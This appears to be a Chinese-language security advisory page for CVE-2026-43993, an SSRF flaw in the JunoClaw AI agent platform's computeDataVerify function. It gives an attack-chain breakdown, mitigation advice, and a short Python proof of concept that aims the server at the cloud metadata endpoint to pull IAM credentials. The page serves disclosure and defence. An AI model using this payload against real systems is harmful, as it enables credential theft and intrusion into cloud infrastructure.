IPBUF安全漏洞报告
English
CVE-2026-43993 CVSS 8.2 高危

CVE-2026-43993 JunoClaw平台SSRF漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-43993
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
JunoClaw

相关标签

SSRFJunoClaw服务端请求伪造高危漏洞CVSS-8.2

漏洞概述

JunoClaw是基于Juno Network构建的AI代理平台。在0.x.y-security-1版本之前,其WAVS桥接组件的`computeDataVerify`函数存在严重缺陷。该函数直接对代理提供的URL调用`fetch()`,且未对协议、端口或解析后的IP地址进行验证。这导致了服务端请求伪造(SSRF)漏洞,攻击者可利用此漏洞诱导服务器向内网或受限资源发起请求,造成敏感信息泄露。该问题已在0.x.y-security-1版本中修复。

技术细节

该漏洞的根本原因在于JunoClaw WAVS桥接组件中`computeDataVerify`方法的不安全实现。代码直接使用`fetch()`处理Agent提供的URL,完全绕过了安全校验层。具体表现为:1. 缺乏对URL Scheme的验证,可能允许`file://`或`gopher://`等危险协议;2. 未限制端口号,允许扫描任意端口;3. 最严重的是未对DNS解析后的IP地址进行校验,导致攻击者可以通过指定`http://127.0.0.1`或`http://169.254.169.254`(云元数据服务)来探测内网或窃取凭证。鉴于CVSS评分为8.2(高危),且无需认证即可在用户交互下触发,该漏洞对内网安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出运行JunoClaw平台的目标实例,并确认其版本低于0.x.y-security-1。
STEP 2
构造载荷
攻击者构造包含恶意URL的请求参数,该URL指向内网敏感资源(如127.0.0.1或云元数据服务)。
STEP 3
发送请求
攻击者诱导受害者进行交互(UI:R),或通过其他方式触发WAVS bridge的`computeDataVerify`接口,并传入恶意URL。
STEP 4
执行SSRF
JunoClaw服务器接收请求,直接调用`fetch()`函数向攻击者指定的内网地址发起连接。
STEP 5
数据泄露
内网服务响应请求,服务器将获取到的敏感数据(如IAM凭证)返回给攻击者,导致高机密性影响(C:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssrf(target_host): """ PoC for CVE-2026-43993: SSRF in JunoClaw WAVS bridge. This script attempts to force the server to fetch an internal resource. """ # The vulnerable endpoint is the WAVS bridge computeDataVerify base_url = f"{target_host}/api/wavs/bridge/computeDataVerify" # Malicious URL targeting internal metadata (common SSRF check) # Attacker controls this URL via the agent-supplied input malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" headers = { "Content-Type": "application/json" } # Hypothetical payload structure based on the vulnerability description payload = { "agentData": { "url": malicious_url } } try: print(f"[*] Sending SSRF payload to {base_url}...") response = requests.post(base_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check response for leaked data.") print("[+] Response body:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") # Usage example: # exploit_ssrf("http://vulnerable-junoclaw-instance.com")

影响范围

JunoClaw < 0.x.y-security-1

防御指南

临时缓解措施
建议立即升级到修复版本。若暂时无法升级,应在网络出口处部署防火墙规则,阻断服务器对RFC 1918定义的内网地址及链路本地地址(如169.254.169.254)的访问,同时监控异常的出站流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表